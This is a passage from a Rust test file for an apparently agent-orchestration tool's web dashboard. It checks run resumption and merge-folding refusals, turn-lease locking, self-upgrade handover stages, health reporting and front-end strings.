13984 &format!("/api/runs/{id}/fold-merged"),
13985 Some(r#"{"pr_url":" "}"#),
13986 )
13987 .await;
13988 assert_eq!(blank.status, 400, "{}", blank.body);
13989 }
13990
13991 #[tokio::test]
13992 async fn fold_merged_is_404_for_an_unknown_run() {
13993 let fx = Fixture::start().await;
13994 let res = fx
13995 .post(
13996 "/api/runs/nosuchrun/fold-merged",
13997 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13998 )
13999 .await;
14000 assert_eq!(res.status, 404, "{}", res.body);
14001 }
14002
14003 #[tokio::test]
14004 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14005 let fx = Fixture::start().await;
14006 let runs = fx.runs();
14007 let id = "20260901-000000-livemerge";
14008 write_run(&runs, id, RunStatus::Blocked);
14009
14010 let mut beat = crate::daemon::Status::new();
14011 beat.current = vec![crate::daemon::Current {
14012 task: "20260901-000000-task".to_owned(),
14013 run: id.to_owned(),
14014 }];
14015 beat.updated_at = jiff::Timestamp::now();
14016 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14017 .expect("publish a heartbeat");
14018
14019 let res = fx
14020 .post(
14021 &format!("/api/runs/{id}/fold-merged"),
14022 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14023 )
14024 .await;
14025 assert_eq!(res.status, 409, "{}", res.body);
14026 assert!(
14027 res.json()["error"]
14028 .as_str()
14029 .unwrap()
14030 .contains("live daemon"),
14031 "correcting a run's merge underneath a running agent would race \
14032 whatever it is doing to the same `status`/`merge` fields"
14033 );
14034 }
14035
14036 #[tokio::test]
14041 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14042 let fx = Fixture::start().await;
14043 let runs = fx.runs();
14044 let id = "20260901-000000-unconfirmed";
14045 write_run(&runs, id, RunStatus::Blocked);
14046
14047 let res = fx
14048 .post(
14049 &format!("/api/runs/{id}/fold-merged"),
14050 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14051 )
14052 .await;
14053 assert_eq!(res.status, 400, "{}", res.body);
14054 assert_eq!(
14055 read_run(&runs, id).unwrap().status,
14056 RunStatus::Blocked,
14057 "a pull request that could not be confirmed merged must leave \
14058 the run exactly where it was"
14059 );
14060 }
14061
14062 #[tokio::test]
14063 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14064 let fx = Fixture::start().await;
14065 let runs = fx.runs();
14066
14067 for (status, word) in [
14073 (RunStatus::Merged, "merged"),
14074 (RunStatus::Ready, "ready"),
14075 (RunStatus::Failed, "failed"),
14076 ] {
14077 let id = format!("20260901-000000-{}", &word[..4]);
14078 write_run(&runs, &id, status);
14079 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14080 assert_eq!(res.status, 409, "{word} must not be resumable");
14081 let err = res.json()["error"].as_str().unwrap().to_owned();
14082 assert!(err.contains(word), "the refusal names the status: {err}");
14083 }
14084
14085 let mid = "20260901-000000-midf";
14090 write_run(&runs, mid, RunStatus::Reviewing);
14091 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14092 assert_eq!(res.status, 202, "an interrupted run is resumable");
14093 }
14094
14095 #[tokio::test]
14096 async fn resume_is_refused_while_the_loop_is_running() {
14097 let fx = Fixture::start().await;
14098 let runs = fx.runs();
14099 let stalled = "20260901-000000-stal";
14100 write_run(&runs, stalled, RunStatus::Stalled);
14101
14102 let mut beat = crate::daemon::Status::new();
14106 beat.current = vec![crate::daemon::Current {
14107 task: "20260901-000000-task".to_owned(),
14108 run: "20260901-000000-othr".to_owned(),
14109 }];
14110 beat.updated_at = jiff::Timestamp::now();
14111 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14112 .expect("publish a heartbeat");
14113
14114 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14115 assert_eq!(res.status, 409);
14116 let err = res.json()["error"].as_str().unwrap().to_owned();
14117 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14118 assert!(err.contains("stop it first"), "{err}");
14119 }
14120
14121 #[test]
14122 fn a_run_cannot_be_resumed_twice_at_once() {
14123 let home = TempDir::new().expect("temp home");
14124 let ui = Ui::new(
14125 Queue::at(home.path().join("queue")),
14126 Questions::at(home.path().join("questions")),
14127 Talks::at(home.path().join("talks")),
14128 home.path().join("runs"),
14129 home.path().to_path_buf(),
14130 PathBuf::from("/repo"),
14131 )
14132 .with_worktrees_root(home.path().join("wt"));
14133 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14134 let again = ui.begin_resume("20260901-000000-once");
14135 assert!(again.is_err(), "a second tap must not start a second graph");
14136 drop(first);
14137 assert!(
14138 ui.begin_resume("20260901-000000-once").is_ok(),
14139 "and the claim is released when the attempt ends"
14140 );
14141 }
14142
14143 #[test]
14144 fn talk_thinking_tracks_only_its_held_turn_claim() {
14145 let home = TempDir::new().expect("temp home");
14146 let ui = Ui::new(
14147 Queue::at(home.path().join("queue")),
14148 Questions::at(home.path().join("questions")),
14149 Talks::at(home.path().join("talks")),
14150 home.path().join("runs"),
14151 home.path().to_path_buf(),
14152 PathBuf::from("/repo"),
14153 )
14154 .with_worktrees_root(home.path().join("wt"));
14155 let id = "20260901-000000-once";
14156
14157 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14158 let turn = ui.begin_talk_turn(id).expect("claim turn");
14159 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14160 assert!(
14161 !ui.is_thinking("20260901-000000-other"),
14162 "one talk's turn does not make another talk busy"
14163 );
14164 drop(turn);
14165 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14166 }
14167
14168 #[test]
14169 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14170 let home = TempDir::new().expect("temp home");
14171 let talks = Talks::at(home.path().join("talks"));
14172 let ui = Ui::new(
14173 Queue::at(home.path().join("queue")),
14174 Questions::at(home.path().join("questions")),
14175 talks.clone(),
14176 home.path().join("runs"),
14177 home.path().to_path_buf(),
14178 PathBuf::from("/repo"),
14179 )
14180 .with_worktrees_root(home.path().join("wt"));
14181 let id = "20260901-000000-cross";
14182
14183 let other = Talks::at(home.path().join("talks"))
14184 .claim_turn(id)
14185 .expect("claim")
14186 .expect("the other process wins");
14187 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14188 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14189 assert!(
14190 matches!(
14191 ui.begin_talk_turn_unless_pending(id).expect("start"),
14192 TalkTurnStart::Foreign
14193 ),
14194 "a foreign holder is refused, not queued behind"
14195 );
14196 assert!(
14197 !ui.talk_turns.lock().unwrap().live.contains(id),
14198 "a refused claim leaves no in-process entry behind"
14199 );
14200 drop(other);
14201 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14202 assert!(talks.turn_held(id), "the web turn holds the lease");
14203 drop(turn);
14204 assert!(
14205 !talks.turn_held(id),
14206 "dropping the guard releases the lease"
14207 );
14208 }
14209
14210 #[tokio::test]
14211 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14212 let fx = Fixture::start().await;
14213 let mut beat = crate::daemon::Status::new();
14217 beat.pid = 4321;
14218 beat.updated_at = jiff::Timestamp::now();
14219 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14220 .expect("publish a heartbeat");
14221
14222 let res = fx.post("/api/upgrade", None).await;
14223 assert_eq!(res.status, 409);
14224 let err = res.json()["error"].as_str().unwrap().to_owned();
14225 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14226 assert!(err.contains("old one against the same queue"), "{err}");
14227 }
14228
14229 #[test]
14236 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14237 assert!(!should_spawn_recheck(&crate::config::Update {
14238 mode: UpdateMode::Off,
14239 interval: None,
14240 }));
14241
14242 unsafe {
14245 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14246 }
14247 let killed = should_spawn_recheck(&crate::config::Update {
14248 mode: UpdateMode::Notify,
14249 interval: None,
14250 });
14251 unsafe {
14252 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14253 }
14254 assert!(
14255 !killed,
14256 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14257 one-time startup check"
14258 );
14259
14260 assert!(should_spawn_recheck(&crate::config::Update {
14261 mode: UpdateMode::Notify,
14262 interval: None,
14263 }));
14264 }
14265
14266 #[test]
14272 fn recheck_poll_period_tracks_a_short_configured_interval() {
14273 let short = crate::config::Update {
14274 mode: UpdateMode::Notify,
14275 interval: Some("1m".to_owned()),
14276 };
14277 let period = recheck_poll_period(&short);
14278 assert!(
14279 period <= Duration::from_secs(30),
14280 "a one-minute interval must wake the task far sooner than the \
14281 default ceiling, or the deck would not notice within the \
14282 interval the operator configured: got {period:?}"
14283 );
14284
14285 let default = crate::config::Update {
14286 mode: UpdateMode::Notify,
14287 interval: None,
14288 };
14289 assert_eq!(
14290 recheck_poll_period(&default),
14291 UPDATE_RECHECK_POLL_MAX,
14292 "the default day-long interval should poll at the (capped) \
14293 ceiling rather than needlessly often"
14294 );
14295 }
14296
14297 #[test]
14305 fn recheck_skips_the_network_before_the_interval_elapses() {
14306 let dir = TempDir::new().expect("temp dir");
14307 let path = dir.path().join("state.json");
14308 let state = kaishin::UpdateCheckState {
14309 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14310 last_known_latest: None,
14311 last_known_url: None,
14312 };
14313 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14314
14315 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14316 assert!(
14317 !update_recheck_due(&checker, None),
14318 "a check made moments ago must not be repeated before the \
14319 configured interval elapses"
14320 );
14321 }
14322
14323 #[test]
14329 fn recheck_defers_to_an_upgrade_already_in_flight() {
14330 let dir = TempDir::new().expect("temp dir");
14331 let path = dir.path().join("state.json");
14332 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14333 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14334
14335 assert!(
14336 !update_recheck_due(&checker, Some(&progress)),
14337 "a recheck must not run while an upgrade this deck started is \
14338 still moving"
14339 );
14340 }
14341
14342 #[tokio::test]
14343 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14344 unsafe {
14356 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14357 }
14358 let fx = Fixture::start().await;
14359 let res = fx.post("/api/upgrade", None).await;
14360 unsafe {
14361 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14362 }
14363 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14364 let body = res.json();
14365 assert!(body["to"].is_null(), "there was no release to move to");
14366 assert!(body["parked"].is_null(), "and nothing was parked");
14367 assert!(
14368 body["detail"]
14369 .as_str()
14370 .unwrap()
14371 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14372 "{body:?}"
14373 );
14374 }
14375
14376 #[tokio::test]
14377 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14378 let repo = TempDir::new().expect("repo dir");
14394 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14395 .expect("write magi.toml");
14396 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14397
14398 let res = fx.post("/api/upgrade", None).await;
14404 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14405 let body = res.json();
14406 assert!(body["to"].is_null(), "there was no release to move to");
14407 assert!(body["parked"].is_null(), "and nothing was parked");
14408 assert!(
14409 body["detail"]
14410 .as_str()
14411 .unwrap()
14412 .contains("nothing restarted"),
14413 "{body:?}"
14414 );
14415 }
14416
14417 #[tokio::test]
14418 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14419 let repo = TempDir::new().expect("repo dir");
14424 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14425 .expect("write magi.toml");
14426 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14427
14428 let health = fx.get("/api/health").await.json();
14429 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14430 assert_eq!(
14431 health["update"]["available"], false,
14432 "checking is off, which reads as \"unknown\", not \"none\""
14433 );
14434 assert!(health["update"]["to"].is_null());
14435 assert!(
14436 health["upgrade"].is_null(),
14437 "nothing has ever asked this deck to upgrade"
14438 );
14439 }
14440
14441 #[tokio::test]
14442 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14443 let fx = Fixture::start().await;
14444 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14445
14446 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14447 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14448 progress.advance(crate::updater::Stage::Parking);
14449 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14450
14451 let health = fx.get("/api/health").await.json();
14452 assert_eq!(health["upgrade"]["stage"], "parking");
14453 assert_eq!(health["upgrade"]["from"], "0.5.1");
14454 assert_eq!(health["upgrade"]["to"], "0.5.2");
14455 let waiting_on = health["upgrade"]["waiting_on"]
14456 .as_str()
14457 .expect("waiting_on is set while parking a known run");
14458 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14459 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14460 }
14461
14462 #[tokio::test]
14463 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14464 let fx = Fixture::start().await;
14465 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14466 progress.advance(crate::updater::Stage::Done);
14467 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14468
14469 let health = fx.get("/api/health").await.json();
14470 assert_eq!(health["upgrade"]["stage"], "done");
14471 assert!(
14472 health["upgrade"]["waiting_on"].is_null(),
14473 "nothing to wait on once it is done"
14474 );
14475 }
14476
14477 #[tokio::test]
14478 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14479 let home = TempDir::new().expect("temp home");
14480 let runs = home.path().join("runs");
14481 std::fs::create_dir_all(&runs).expect("runs dir");
14482 let ui = Ui::new(
14483 Queue::at(home.path().join("queue")),
14484 Questions::at(home.path().join("questions")),
14485 Talks::at(home.path().join("talks")),
14486 runs,
14487 home.path().to_path_buf(),
14488 PathBuf::from("/repo/magi"),
14489 )
14490 .with_launch(launch_idle);
14491 let looping = ui.looping();
14492 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14493 .await
14494 .expect("bind loopback");
14495 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14496
14497 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14498 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14499
14500 hand_over(home.path(), &looping, served, |_| Ok(1))
14501 .await
14502 .expect("hand over");
14503
14504 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14505 assert_eq!(
14506 after.stage,
14507 crate::updater::Stage::Restarting,
14508 "hand_over owns the record through parking and up to restarting; \
14509 the successor is what finishes it"
14510 );
14511 }
14512
14513 #[tokio::test]
14516 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14517 for fail in [false, true] {
14518 let home = TempDir::new().expect("temp home");
14519 let ui = idle_ui(&home);
14520 let looping = ui.looping();
14521 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14522 .await
14523 .expect("bind loopback");
14524 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14525 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14526 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14527
14528 let calls = std::sync::atomic::AtomicUsize::new(0);
14529 let outcome = hand_over(home.path(), &looping, served, |_| {
14530 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14531 if fail {
14532 anyhow::bail!("no exec")
14533 } else {
14534 Ok(4242)
14535 }
14536 })
14537 .await;
14538 assert_eq!(outcome.is_err(), fail);
14539 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14540
14541 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14542 .expect("upgrade.log is written under the home");
14543 for step in [
14544 "entered",
14545 "finish_loop",
14546 "listener released",
14547 "starting the successor",
14548 ] {
14549 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14550 }
14551 assert!(
14552 log.contains(if fail { "did not start" } else { "pid 4242" }),
14553 "{log}"
14554 );
14555 }
14556 }
14557
14558 #[tokio::test]
14561 async fn the_handover_signal_wakes_one_waiter_once() {
14562 let signal = Notify::new();
14563 signal.notify_one();
14565 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14566 .await
14567 .expect("an early signal is still seen");
14568 assert!(
14570 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14571 .await
14572 .is_err(),
14573 "a consumed signal must not wake a second time"
14574 );
14575 let signal = std::sync::Arc::new(signal);
14577 let waiter = tokio::spawn({
14578 let signal = std::sync::Arc::clone(&signal);
14579 async move { wait_for_handover(&signal).await }
14580 });
14581 tokio::time::sleep(Duration::from_millis(20)).await;
14582 assert!(!waiter.is_finished(), "nothing was signalled yet");
14583 signal.notify_one();
14584 tokio::time::timeout(Duration::from_secs(5), waiter)
14585 .await
14586 .expect("a late signal wakes the waiter")
14587 .expect("join");
14588 }
14589
14590 #[tokio::test]
14591 async fn health_says_how_long_a_handover_has_been_stuck() {
14592 let fx = Fixture::start().await;
14593 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14594 progress.advance(crate::updater::Stage::Replaced);
14595 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14596 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14597
14598 let health = fx.get("/api/health").await.json();
14599 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14600 assert!(stuck >= 600, "{stuck}");
14601 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14602 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14603 }
14604
14605 #[tokio::test]
14606 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14607 let home = tempfile::tempdir().expect("temp home");
14608 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14609 progress.advance(crate::updater::Stage::Parking);
14610 crate::updater::write_progress(home.path(), &progress).expect("seed");
14611 let mut again = progress.clone();
14613 again.advance(crate::updater::Stage::Replaced);
14614 crate::updater::write_progress(home.path(), &again).expect("replaced");
14615 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14616 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14617 let after = crate::updater::read_progress(home.path()).expect("record");
14618 assert_eq!(after.stage, crate::updater::Stage::Parking);
14619 }
14620
14621 #[tokio::test]
14622 async fn health_does_not_call_a_live_parking_wait_stuck() {
14623 let fx = Fixture::start().await;
14624 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14625 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14626 progress.advance(crate::updater::Stage::Parking);
14627 let hours = Duration::from_secs(3 * 3600);
14628 progress.started_at = Timestamp::now() - hours;
14629 progress.updated_at = Timestamp::now() - hours;
14630 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14631 let _lease = crate::updater::LeaseGuard::enter(
14632 fx.home.path(),
14633 Some("20260905-000000-cd51".to_owned()),
14634 );
14635
14636 let health = fx.get("/api/health").await.json();
14637 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14638 assert!(health["upgrade"]["stuck_kind"].is_null());
14639 assert_eq!(health["upgrade"]["handover_alive"], true);
14640 let waiting_on = health["upgrade"]["waiting_on"]
14641 .as_str()
14642 .expect("waiting_on");
14643 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14644 }
14645
14646 fn idle_ui(home: &TempDir) -> Ui {
14647 let runs = home.path().join("runs");
14648 std::fs::create_dir_all(&runs).expect("runs dir");
14649 Ui::new(
14650 Queue::at(home.path().join("queue")),
14651 Questions::at(home.path().join("questions")),
14652 Talks::at(home.path().join("talks")),
14653 runs,
14654 home.path().to_path_buf(),
14655 PathBuf::from("/repo/magi"),
14656 )
14657 .with_launch(launch_idle)
14658 }
14659
14660 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14662 let looping = ui.looping();
14663 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14664 .await
14665 .expect("bind loopback");
14666 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14667 let told = std::sync::Mutex::new(None);
14668 hand_over(home.path(), &looping, served, |resume| {
14669 *told.lock().unwrap() = Some(resume);
14670 Ok(1)
14671 })
14672 .await
14673 .expect("hand over");
14674 told.into_inner().unwrap().expect("successor was started")
14675 }
14676
14677 #[tokio::test]
14678 async fn a_running_loop_is_resumed_by_the_successor() {
14679 let home = TempDir::new().expect("temp home");
14680 let ui = idle_ui(&home);
14681 ui.start_loop(None).expect("start");
14682 ui.park_for_upgrade().expect("park");
14683 for _ in 0..500 {
14685 if !ui.loop_view(None).running {
14686 break;
14687 }
14688 tokio::time::sleep(Duration::from_millis(2)).await;
14689 }
14690 assert!(handed_over(&home, ui).await, "a running loop must resume");
14691
14692 let successor = idle_ui(&home);
14693 assert!(!successor.loop_view(None).running);
14694 assert!(successor.resume_after_handover(true));
14695 assert!(successor.loop_view(None).running);
14696 successor.stop_loop(None, false).expect("stop");
14697 }
14698
14699 #[tokio::test]
14700 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14701 let home = TempDir::new().expect("temp home");
14702 let ui = idle_ui(&home);
14703 ui.start_loop(None).expect("start");
14704 ui.park_for_upgrade().expect("first park");
14705 ui.park_for_upgrade().expect("second park");
14706 assert!(handed_over(&home, ui).await);
14707 }
14708
14709 #[tokio::test]
14710 async fn a_stop_during_the_handover_wait_is_honoured() {
14711 let home = TempDir::new().expect("temp home");
14712 let ui = idle_ui(&home);
14713 ui.start_loop(None).expect("start");
14714 ui.park_for_upgrade().expect("park");
14715 ui.stop_loop(None, false).expect("stop");
14716 assert!(!handed_over(&home, ui).await);
14717 }
14718
14719 #[tokio::test]
14720 async fn an_idle_loop_stays_stopped_across_the_handover() {
14721 let home = TempDir::new().expect("temp home");
14722 let ui = idle_ui(&home);
14723 ui.park_for_upgrade().expect("park");
14724 assert!(!handed_over(&home, ui).await);
14725
14726 let successor = idle_ui(&home);
14727 assert!(!successor.resume_after_handover(false));
14728 assert!(!successor.loop_view(None).running);
14729 }
14730
14731 #[tokio::test]
14732 async fn a_loop_the_operator_stopped_is_not_resumed() {
14733 let home = TempDir::new().expect("temp home");
14734 let ui = idle_ui(&home);
14735 ui.start_loop(None).expect("start");
14736 ui.stop_loop(None, false).expect("stop");
14737 ui.park_for_upgrade().expect("park");
14738 assert!(!handed_over(&home, ui).await);
14739 }
14740
14741 #[test]
14742 fn only_an_explicit_one_requests_a_resume() {
14743 assert!(!resume_requested(None));
14744 assert!(!resume_requested(Some("0".into())));
14745 assert!(!resume_requested(Some("".into())));
14746 assert!(resume_requested(Some("1".into())));
14747 }
14748
14749 #[test]
14750 fn the_upgrade_button_arms_before_it_restarts_anything() {
14751 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14754 assert!(APP_JS.contains("Replace the binary and restart?"));
14755 assert!(APP_JS.contains("function confirmed("));
14756 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14761 assert!(
14765 APP_JS.contains("Parking, then restarting"),
14766 "the button says what it is waiting for"
14767 );
14768 assert!(APP_JS.contains("if (!out.to)"));
14771 }
14772
14773 #[test]
14774 fn stopping_the_loop_arms_but_starting_does_not() {
14775 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14778 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14779 assert!(APP_JS.contains("confirmed(button, question)"));
14780 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14783 assert!(APP_JS.contains("const label = btn.textContent;"));
14784 assert!(!APP_JS.contains("Neither direction is guarded"));
14785 }
14786
14787 #[test]
14788 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14789 assert!(
14790 APP_JS.contains("state.health.version"),
14791 "the operator wants to know what is running even with nothing newer"
14792 );
14793 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14794 }
14795
14796 #[test]
14797 fn the_upgrade_button_names_its_destination() {
14798 assert!(
14799 APP_JS.contains("`Update to ${update.to}`"),
14800 "pressing the button should not be a surprise about what it moves to"
14801 );
14802 }
14803
14804 #[test]
14805 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14806 for stage in ["downloading", "replaced", "parking", "restarting"] {
14807 assert!(
14808 APP_JS.contains(&format!("\"{stage}\"")),
14809 "the phone must be able to tell {stage} apart from the others"
14810 );
14811 }
14812 assert!(APP_JS.contains(".waiting_on"));
14813 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14818 assert!(APP_JS.contains("reconnects on its own"));
14819 }
14820
14821 #[test]
14822 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14823 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14832 ..APP_JS.find("function upgrade(").expect("upgrade")];
14833 assert!(
14834 !body.contains(
14835 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14836 ),
14837 "a failed upgrade must not take the whole strip over the way it used to"
14838 );
14839 assert!(
14840 body.contains("upgradeFailNote"),
14841 "the failure has to reach the loop's own note instead"
14842 );
14843 assert_eq!(
14847 body.matches("upgradeFailNote].filter(Boolean).join")
14848 .count(),
14849 2,
14850 "both loop-why writers (quiet and control) must fold the note in"
14851 );
14852 }
14853
14854 #[test]
14855 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14856 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14859 assert!(APP_JS.contains("function upgradeOverdue("));
14860 }
14861
14862 #[test]
14863 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14864 assert!(
14865 APP_JS.contains("Updated to ${upgradeInfo.to"),
14866 "the operator who asked for the restart wants to know it worked"
14867 );
14868 }
14869
14870 #[test]
14871 fn an_error_is_visible_from_where_the_button_is() {
14872 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14877 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14878 assert!(
14879 alert.contains("position: fixed"),
14880 "an error about the thing under your thumb has to be visible from \
14881 where your thumb is: {alert}"
14882 );
14883 assert!(
14884 alert.contains("z-index: 25"),
14885 "above the dock (20) and the run-actions FAB (15), so neither \
14886 buries it: {alert}"
14887 );
14888 assert!(
14889 alert.contains("var(--tap)"),
14890 "and clear of the dock and the home indicator: {alert}"
14891 );
14892 assert!(
14895 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14896 "the FAB's column stays free: {alert}"
14897 );
14898 }
14899
14900 #[tokio::test]
14901 async fn an_older_attempt_says_what_replaced_it() {
14902 let fx = Fixture::start().await;
14903 let q = fx.queue();
14904 let runs = fx.runs();
14905 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14906 write_run(&runs, first, RunStatus::Stalled);
14907 write_run(&runs, second, RunStatus::Blocked);
14908
14909 let mut t = Task::new(
14910 "one task".to_owned(),
14911 "do it".to_owned(),
14912 PathBuf::from("/repo"),
14913 Source::Human,
14914 );
14915 t.runs = vec![first.to_owned(), second.to_owned()];
14916 q.put(&mut t).expect("put");
14917
14918 let rows = fx.get("/api/runs").await.json();
14922 let by = |short: &str| -> Value {
14923 rows.as_array()
14924 .unwrap()
14925 .iter()
14926 .find(|r| r["short"] == short)
14927 .cloned()
14928 .unwrap_or(Value::Null)
14929 };
14930 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14931 assert!(
14932 by("bbbb")["superseded_by"].is_null(),
14933 "the latest attempt is not superseded by anything"
14934 );
14935 assert!(APP_JS.contains("run.superseded_by"));
14937 assert!(APP_JS.contains("Superseded by"));
14938 }
14939
14940 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14941 let mut t = Task::new(
14942 "one task".to_owned(),
14943 "do it".to_owned(),
14944 PathBuf::from("/repo"),
14945 Source::Human,
14946 );
14947 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14948 t.status = status;
14949 t
14950 }
14951
14952 #[test]
14953 fn source_link_picks_the_page_that_filed_the_task() {
14954 let agent = |node: &str| Source::Agent {
14955 run: "20260904-014455-ab12".to_owned(),
14956 node: node.to_owned(),
14957 };
14958 let chat = source_link(&agent("chat")).expect("chat link");
14959 assert_eq!(chat.kind, "chat");
14960 assert_eq!(chat.id, "20260904-014455-ab12");
14961 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14962 let run = source_link(&agent("implement")).expect("run link");
14963 assert_eq!(
14964 (run.kind, run.href.as_str()),
14965 ("run", "#/runs/20260904-014455-ab12")
14966 );
14967 assert_eq!(source_link(&Source::Human), None);
14968 assert_eq!(
14969 source_link(&Source::Issue {
14970 number: 3,
14971 repo: "o/r".to_owned()
14972 }),
14973 None
14974 );
14975 let odd = source_link(&Source::Agent {
14976 run: "a b/c".to_owned(),
14977 node: "chat".to_owned(),
14978 })
14979 .expect("link");
14980 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14981 }
14982
14983 #[test]
14984 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
